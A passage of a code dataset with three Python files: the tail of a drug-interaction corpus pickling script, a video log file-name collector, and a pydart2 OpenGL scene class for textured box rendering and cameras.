\" drug_n \", value6) # \"drug_n14\" to \"drug_n 14\"\n # value6 = re.sub(\"drug_1\", \" drug_1 \", value6) # \"drug_114\" to \"drug_1 14\"\n # value6 = re.sub(\"drug_2\", \" drug_2 \", value6) # \"drug_214\" to \"drug_2 14\"\n # value6 = re.sub(\"\\d+\\,\\d+\\s\", \" TAG_OF_DIGIT \", value6) # \"drugs1,3\" to \"drugs 1,3\"\n #\n # value7 = re.sub(\"\\prp\\s\\$\", \"prp$\", value7) # \"prp $\" to \"prp$\", \"wp $\" to \"wp$\"\n # value7 = re.sub(\"\\wp\\s\\$\", \"wp$\", value7) # \"prp $\" to \"prp$\", \"wp $\" to \"wp$\"\n #\n #\n # list1.append(value1.split())\n # list2.append(value2)\n # list3.append(value3.split())\n # list4.append(value4.split())\n # list5.append(value5.split())\n # list6.append(value6.split())\n # list7.append(value7.split())\n # list8.append(value8)\n # list9.append(value9.split())\n # list10.append(value10)\n #\n # # distance list\n # sent_list = value1.split()\n # e1_idx = sent_list.index(\"drug_1\")\n # e2_idx = sent_list.index(\"drug_2\")\n # dis1_list = []\n # dis2_list = []\n # for i in range(len(sent_list)):\n # dis1_list.append(str(i-e1_idx))\n # dis2_list.append(str(i-e2_idx))\n # list11.append(dis1_list)\n # list12.append(dis2_list)\n #\n # all_lists = (list1, list2, list3, list4, list5, list6, list7, list8, list9, list10, list11, list12)\n\n\n # ----------------------------------------------------\n\n\n\n value1 = lines[0]\n value2 = lines[1]\n value3 = lines[2]\n value4 = lines[3]\n value5 = lines[4]\n value6 = lines[5]\n\n list1.append(value1.split())\n list2.append(value2.split())\n list3.append(value3)\n\n # distance list\n sent_blind_list = value1.split()\n e1_idx = sent_blind_list.index(\"DRUG_1\")\n e2_idx = sent_blind_list.index(\"DRUG_2\")\n dis1_list = []\n dis2_list = []\n for i in range(len(sent_blind_list)):\n dis1_list.append(str(i-e1_idx))\n dis2_list.append(str(i-e2_idx))\n list4.append(dis1_list)\n list5.append(dis2_list)\n\n list6.append(value4)\n list7.append(value5.split())\n list8.append(value6)\n\n all_lists = (list1, list2, list3, list4, list5, list6, list7, list8)\n\n return all_lists\n\n\n\ndef dataPickle(tr_data_path, te_data_path, pickle_data_path):\n train_set = dataRead(tr_data_path)\n test_set = dataRead(te_data_path)\n\n with open(pickle_data_path, \"wb\") as handle:\n pkl.dump(train_set, handle)\n pkl.dump(test_set, handle)\n\n print (\"save in \", pickle_data_path)\n\n\n# execute\nprint (\"pickle data ... \")\n# dataPickle(\"./ddi_corpus/shortestpath/train_data.txt\", \"./ddi_corpus/shortestpath/test_data.txt\", \"./ddi_corpus/ddi_corpus.pickle\")\n# dataPickle(\"./ddi_corpus/dependencydfs/train_data.txt\", \"./ddi_corpus/dependencydfs/test_data.txt\", \"./ddi_corpus/ddi_corpus.pickle\")\n# dataPickle(\"./ddi_corpus/05negativefilt_/train_data.txt\", \"./ddi_corpus/05negativefilt/test_data.txt\", \"./ddi_corpus/ddi_corpus.pickle\")\ndataPickle(\"./ddi_corpus/05negativefilt_no_dependency/train_data.txt\", \"./ddi_corpus/05negativefilt_no_dependency/test_data.txt\", \"./ddi_corpus/ddi_corpus_wpd.pickle\")","sub_path":"attention-based_master/preprocess/06_pickle_data.py","file_name":"06_pickle_data.py","file_ext":"py","file_size_in_byte":5386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"102523709","text":"# -*- coding: utf-8 -*-\r\n# @Time : 2019/9/30 15:59\r\n# @Author : Tonny Cao\r\n# @Email : 647812411@qq.com\r\n# @File : video_log_handler.py\r\n# @Software: PyCharm\r\n\r\nimport os\r\nimport time\r\nfrom config.config import *\r\n\r\n\r\ndef stat_video_log(log_file):\r\n '''\r\n 解析文件,获取文件名\r\n :param log_file:\r\n :return: []\r\n '''\r\n\r\n data = set()\r\n fd = open(log_file, 'r', encoding='utf-8')\r\n for line in fd.readlines():\r\n if len(line) > 0:\r\n line = line.strip()\r\n content = line.split(',')\r\n if len(content) > 4 and content[4] is not None:\r\n contents = content[4].split(':')\r\n data.add(contents[1])\r\n return data\r\n\r\n\r\ndef stat_video_dir(path):\r\n '''\r\n 遍历目录下所有文件\r\n :param path:\r\n :return:list 文件列表\r\n '''\r\n\r\n # root当前根目录 dirs目录列表 files 文件列表\r\n files_list = []\r\n for root, dirs, files in os.walk(path, topdown=False):\r\n for name in files:\r\n file_path = os.path.join(root, name)\r\n files_list.append(file_path)\r\n\r\n return files_list\r\n\r\n\r\ndef main(path, out_file):\r\n '''\r\n 主函数\r\n :param path:\r\n :param out_file:\r\n :return:void\r\n '''\r\n\r\n names_list = set()\r\n files = stat_video_dir(path)\r\n\r\n if len(files) > 0:\r\n for log in files:\r\n result = stat_video_log(log)\r\n for name in result:\r\n names_list.add(name)\r\n\r\n if len(names_list) > 0:\r\n fd = open(out_file, mode='a+', encoding='utf-8')\r\n for i in names_list:\r\n fd.write(i+'\\n')\r\n fd.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n start_time = time.time()\r\n log_path = DATA_PATH + '/alter'\r\n file = DATA_PATH + '/vo.log'\r\n main(log_path, file)\r\n end_time = time.time()\r\n span_time = end_time - end_time\r\n print('span time:' + str(span_time))","sub_path":"bin/video_log_handler.py","file_name":"video_log_handler.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"222686852","text":"import OpenGL.GL as GL\nimport OpenGL.GLU as GLU\nimport OpenGL.GLUT as GLUT\nfrom PIL import Image\nfrom pydart2.gui.opengl.renderer_split import Renderer1\nfrom pydart2.gui.trackball import Trackball\nfrom pydart2.gui.opengl.scene import OpenGLScene\n\nclass OpenGLScene_split(OpenGLScene):\n def __init__(self, width, height, window=None):\n super().__init__(width,height,window)\n self.renderer = Renderer1()\n\n def init(self):\n # GL.glClearColor(0.0, 0.0, 0.0, 0.0)\n # GL.glClearDepth(1.0)\n # GL.glDepthFunc(GL.GL_LEQUAL)\n # GL.glEnable(GL.GL_DEPTH_TEST)\n # GL.glShadeModel(GL.GL_SMOOTH)\n # GL.glMatrixMode(GL.GL_PROJECTION)\n # GL.glLoadIdentity()\n # GL.gluPerspective(45.0, float(Width) / float(Height), 0.1, 100.0)\n # GL.glMatrixMode(GL.GL_MODELVIEW)\n self.disable2D()\n GL.glDisable(GL.GL_CULL_FACE)\n # GL.glEnable(GL.GL_DEPTH_TEST)\n\n # GL.glDepthFunc(GL.GL_LEQUAL)\n GL.glHint(GL.GL_PERSPECTIVE_CORRECTION_HINT, GL.GL_NICEST)\n\n GL.glEnable(GL.GL_LINE_SMOOTH)\n GL.glHint(GL.GL_LINE_SMOOTH_HINT, GL.GL_NICEST)\n # GlEnable(GL.GL_POLYGON_SMOOTH)\n GL.glHint(GL.GL_POLYGON_SMOOTH_HINT, GL.GL_NICEST)\n\n GL.glEnable(GL.GL_DITHER)\n GL.glShadeModel(GL.GL_SMOOTH)\n GL.glHint(GL.GL_PERSPECTIVE_CORRECTION_HINT, GL.GL_NICEST)\n\n GL.glClearColor(1.0, 1.0, 1.0, 1.0)\n GL.glClear(GL.GL_COLOR_BUFFER_BIT)\n\n GL.glEnable(GL.GL_DEPTH_TEST)\n GL.glDepthFunc(GL.GL_LEQUAL)\n GL.glDisable(GL.GL_CULL_FACE)\n GL.glEnable(GL.GL_NORMALIZE)\n\n GL.glColorMaterial(GL.GL_FRONT_AND_BACK, GL.GL_AMBIENT_AND_DIFFUSE)\n GL.glEnable(GL.GL_COLOR_MATERIAL)\n\n GL.glEnable(GL.GL_BLEND)\n GL.glBlendFunc(GL.GL_SRC_ALPHA, GL.GL_ONE_MINUS_SRC_ALPHA)\n GL.glEnable(GL.GL_MULTISAMPLE)\n # GLUT.glutSetOption(GLUT.GLUT_MULTISAMPLE, 4)\n\n # glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGBA)\n\n ambient = [0.2, 0.2, 0.2, 1.0]\n diffuse = [0.6, 0.6, 0.6, 1.0]\n front_mat_shininess = [60.0]\n front_mat_specular = [0.2, 0.2, 0.2, 1.0]\n front_mat_diffuse = [0.5, 0.28, 0.38, 1.0]\n lmodel_ambient = [0.2, 0.2, 0.2, 1.0]\n lmodel_twoside = [GL.GL_FALSE]\n\n # position = [1.0, 1.0, 1.0, 0.0]\n # position1 = [-1.0, 1.0, 0.0, 0.0]\n\n position = [1.0, 1.0, 0.0, 0.0]\n position1 = [-1.0, 0.0, 0.0, 0.0]\n\n GL.glEnable(GL.GL_LIGHT0)\n GL.glLightfv(GL.GL_LIGHT0, GL.GL_AMBIENT, ambient)\n GL.glLightfv(GL.GL_LIGHT0, GL.GL_DIFFUSE, diffuse)\n GL.glLightfv(GL.GL_LIGHT0, GL.GL_POSITION, position)\n\n GL.glLightModelfv(GL.GL_LIGHT_MODEL_AMBIENT, lmodel_ambient)\n GL.glLightModelfv(GL.GL_LIGHT_MODEL_TWO_SIDE, lmodel_twoside)\n\n GL.glEnable(GL.GL_LIGHT1)\n # glLightfv(GL.GL_LIGHT1, GL.GL_AMBIENT, ambient)\n GL.glLightfv(GL.GL_LIGHT1, GL.GL_DIFFUSE, diffuse)\n GL.glLightfv(GL.GL_LIGHT1, GL.GL_POSITION, position1)\n GL.glEnable(GL.GL_LIGHTING)\n\n GL.glEnable(GL.GL_COLOR_MATERIAL)\n GL.glMaterialfv(GL.GL_FRONT_AND_BACK, GL.GL_SHININESS,\n front_mat_shininess)\n GL.glMaterialfv(GL.GL_FRONT_AND_BACK, GL.GL_SPECULAR,\n front_mat_specular)\n GL.glMaterialfv(GL.GL_FRONT_AND_BACK, GL.GL_DIFFUSE,\n front_mat_diffuse)\n\n self.tex = self.renderer.gen_textures(1)\n # print('check2', self.tex)\n # self.renderer.bind_texture(self.tex)\n self.tex2 = self.renderer.gen_textures(1)\n self.tex3 = self.renderer.gen_textures(1)\n # print('check2', self.tex2)\n # self.renderer.bind_texture(self.tex2)\n\n def convert_to_rgb(self, minval, maxval, val, colors):\n fi = float(val - minval) / float(maxval - minval) * (len(colors) - 1)\n i = int(fi)\n f = fi - i\n EPSILON = sys.float_info.epsilon\n\n if f < EPSILON:\n return colors[i]\n else:\n (r1, g1, b1), (r2, g2, b2) = colors[i], colors[i + 1]\n return int(r1 + f * (r2 - r1)), int(g1 + f * (g2 - g1)), int(b1 + f * (b2 - b1))\n\n def set_textures(self,filename1, filename2, filename3):\n\n img = Image.open(filename1)\n self.renderer.bind_texture(self.tex)\n self.texture = self.renderer.set_texture_as_image(img, self.tex)\n self.renderer.bind_texture(self.tex)\n\n\n img = Image.open(filename2)\n self.renderer.bind_texture(self.tex2)\n self.texture = self.renderer.set_texture_as_image(img, self.tex2)\n self.renderer.bind_texture(self.tex2)\n\n img = Image.open(filename3)\n self.renderer.bind_texture(self.tex3)\n self.texture = self.renderer.set_texture_as_image(img, self.tex3)\n self.renderer.bind_texture(self.tex3)\n\n def render(self, sim=None):\n GL.glEnable(GL.GL_LIGHTING)\n GL.glEnable(GL.GL_DEPTH_TEST)\n GL.glClearColor(0.98, 0.98, 0.98, 0.0)\n GL.glClearColor(1.0, 1.0, 1.0, 1.0)\n GL.glClear(GL.GL_COLOR_BUFFER_BIT | GL.GL_DEPTH_BUFFER_BIT)\n\n GL.glLoadIdentity()\n # glTranslate(0.0, -0.2, self.zoom) # Camera\n\n # GL.glTranslate(0.1, 0, -1.6)\n # GL.glRotate(-0.452, 0.045, -0.002, 0.987)\n #\n GL.glLoadIdentity()\n # print(*self.tb.trans)\n GL.glTranslate(*self.tb.trans)\n GL.glMultMatrixf(self.tb.matrix)\n GL.glEnable(GL.GL_TEXTURE_2D)\n skel = sim.skeletons[-1]\n gnd = sim.skeletons[-2]\n bod = skel.root_bodynode()\n # loc = skel.q\n # # print(loc[:3])\n # # print(bod.C)\n # GL.glBindTexture(GL.GL_TEXTURE_2D, 1)\n # bod.shapenodes[0].shape.render()\n # bod.shapenodes[1].shape.render()\n # ground.root_bodynode().shapenodes[0].shape.render()\n # self.renderer.render_box((loc[3], -0.25, loc[5]), (loc[0]/3.14*180, loc[1]/3.14*180, loc[2]/3.14*180), (0.05, 0.05, 0.05))\n\n\n\n #GLUT.glutSwapBuffers()\n # GL.glDisable(GL.GL_TEXTURE_2D)\n # GL.glEnable(GL.GL_TEXTURE_GEN_S)\n # GL.glEnable(GL.GL_TEXTURE_GEN_T)\n GL.glEnable(GL.GL_TEXTURE_2D)\n # GL.glDisable(GL.GL_TEXTURE_2D)\n GL.glEnable(GL.GL_TEXTURE_GEN_S)\n GL.glBindTexture(GL.GL_TEXTURE_2D, self.tex)\n GL.glMultMatrixf(skel.bodynodes[0].T.T)\n # bod.shapenodes[0].shape.render()\n self.renderer.render_box((0.025, 0, 0), (1, 1, 1), (0.05, 0.01, 0.01))\n GL.glLoadIdentity()\n GL.glTranslate(*self.tb.trans)\n GL.glMultMatrixf(self.tb.matrix)\n GL.glMultMatrixf(skel.bodynodes[1].T.T)\n GL.glBindTexture(GL.GL_TEXTURE_2D, self.tex2)\n self.renderer.render_box((-0.025, 0, 0), (1, 1, 1), (0.05, 0.01, 0.01))\n # skel.bodynodes[1].shapenodes[1].shape.render()\n GL.glLoadIdentity()\n GL.glTranslate(*self.tb.trans)\n GL.glMultMatrixf(self.tb.matrix)\n GL.glMultMatrixf(gnd.bodynodes[0].T.T)\n GL.glEnable(GL.GL_TEXTURE_GEN_T)\n # GL.glDisable(GL.GL_TEXTURE_2D)\n GL.glBindTexture(GL.GL_TEXTURE_2D, self.tex3)\n # gnd.bodynodes[0].shapenodes[0].shape.render()\n self.renderer.render_box((0, -0.1, 0), (0, 0, 0),(0.50, 0.05, 0.50))\n\n def render_seg(self, sim=None):\n GL.glEnable(GL.GL_DEPTH_TEST)\n GL.glClearColor(0.98, 0.98, 0.98, 0.0)\n GL.glClearColor(1.0, 1.0, 1.0, 1.0)\n GL.glClear(GL.GL_COLOR_BUFFER_BIT | GL.GL_DEPTH_BUFFER_BIT)\n\n GL.glLoadIdentity()\n # glTranslate(0.0, -0.2, self.zoom) # Camera\n\n # GL.glTranslate(0.1, 0, -1.6)\n # GL.glRotate(-0.452, 0.045, -0.002, 0.987)\n #\n GL.glLoadIdentity()\n # print(*self.tb.trans)\n GL.glTranslate(*self.tb.trans)\n GL.glMultMatrixf(self.tb.matrix)\n GL.glDisable(GL.GL_TEXTURE_2D)\n # GL.glDisable(GL.GL_LIGHTING)\n skel = sim.skeletons[-1]\n loc = skel.q\n # print(loc)\n\n GL.glBindTexture(GL.GL_TEXTURE_2D, 0)\n # self.renderer.render_box((-0+loc[1], -0.25, -0+loc[0]), (0.1, 0.1, 0.1))\n # self.renderer.render_box((loc[3], -0.25, loc[5]),\n # (loc[0] / 3.14 * 180, loc[1] / 3.14 * 180, loc[2] / 3.14 * 180), (0.2, 0.2, 0.2))\n\n #GLUT.glutSwapBuffers()\n # skel = sim.skeletons[-1]\n gnd = sim.skeletons[-2]\n bod = skel.root_bodynode()\n\n GL.glDisable(GL.GL_TEXTURE_2D)\n # GL.glEnable(GL.GL_TEXTURE_GEN_S)\n # GL.glEnable(GL.GL_TEXTURE_GEN_T)\n # GL.glEnable(GL.GL_TEXTURE_2D)\n GL.glBindTexture(GL.GL_TEXTURE_2D, 0)\n GL.glMultMatrixf(skel.bodynodes[0].T.T)\n colors = [(0, 0, 255), (0, 255, 0), (255, 0, 0)]\n r, g, b = self.convert_to_rgb(1, 3, skel.bodynodes[0].mass(), colors)\n GL.glColor3f(r/255., b/255., g/255.)\n self.renderer.render_box((0.025, 0, 0), (1, 1, 1), (0.05, 0.01, 0.01))\n # bod.shapenodes[0].shape.render()\n GL.glLoadIdentity()\n GL.glTranslate(*self.tb.trans)\n GL.glMultMatrixf(self.tb.matrix)\n GL.glMultMatrixf(skel.bodynodes[1].T.T)\n colors = [(0, 0, 255), (0, 255, 0), (255, 0, 0)]\n r, g, b = self.convert_to_rgb(1, 3, skel.bodynodes[1].mass(), colors)\n GL.glColor3f(r/255., b/255., g/255.)\n self.renderer.render_box((-0.025, 0, 0), (1, 1, 1), (0.05, 0.01, 0.01))\n # skel.bodynodes[1].shapenodes[1].shape.render()\n # if sim is None:\n # return\n #\n # if hasattr(sim, \"render\"):\n # sim.render()\n # #self.renderer.enable(\"COLOR_MATERIAL\")\n # if hasattr(sim, \"render_with_ri\"):\n # sim.render_with_ri(self.renderer)\n #\n # self.enable2D()\n # if hasattr(sim, \"draw_with_ri\"):\n # sim.draw_with_ri(self.renderer)\n # self.renderer.draw_text([-100, -100], \"\")\n # self.disable2D()\n #GLUT.glutSwapBuffers()\n\n def enable2D(self):\n w, h = self.width, self.height\n GL.glMatrixMode(GL.GL_PROJECTION)\n GL.glLoadIdentity()\n GL.glDisable(GL.GL_LIGHTING | GL.GL_DEPTH_TEST)\n GL.glDepthMask(0)\n GL.glOrtho(0, w, h, 0, -1, 1)\n GL.glViewport(0, 0, w, h)\n GL.glMatrixMode(GL.GL_MODELVIEW)\n GL.glLoadIdentity()\n\n def disable2D(self):\n w, h = self.width, self.height\n GL.glMatrixMode(GL.GL_PROJECTION)\n GL.glLoadIdentity()\n\n GL.glEnable(GL.GL_DEPTH_TEST | GL.GL_LIGHTING)\n GL.glDepthMask(1)\n GLU.gluPerspective(45.0, float(w) / float(h), 0.01, 100.0)\n\n GL.glViewport(0, 0, w, h)\n GL.glMatrixMode(GL.GL_MODELVIEW)\n GL.glLoadIdentity()\n\n def init_cameras(self,):\n self.cameras = list()\n self.add_camera(\n Trackball(\n rot=[-0.152, 0.045, -0.002, 0.987],\n trans=[0.050, 0.210, -2.500]),\n \"Camera Y up\")\n self.add_camera(\n Trackball(\n rot=[0.535, 0.284, 0.376, 0.701], trans=[0.10, 0.02, -2.770]),\n \"Camera Z up\")\n self.set_camera(0)\n\n def num_cameras(self,):\n return len(self.cameras)\n\n def replace_camera(self, idx, trackball):\n if idx >= self.num_cameras():\n return False\n self.cameras[idx] = trackball\n return True\n\n def add_camera(self, trackball, name):\n self.cameras.append(trackball)\n if self.window is not None:\n # Need to pass self because glwidget is not inited yet\n self.window.add_camera_event(self, trackball, name)\n\n def set_camera(self, camera_index):\n print(\"set_camera: %d\" % camera_index)\n self.tb = self.cameras[camera_index]\n","sub_path":"pydart2/gui/opengl/scene_split.py","file_name":"scene_split.py","file_ext":"py","file_size_in_byte":11729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"}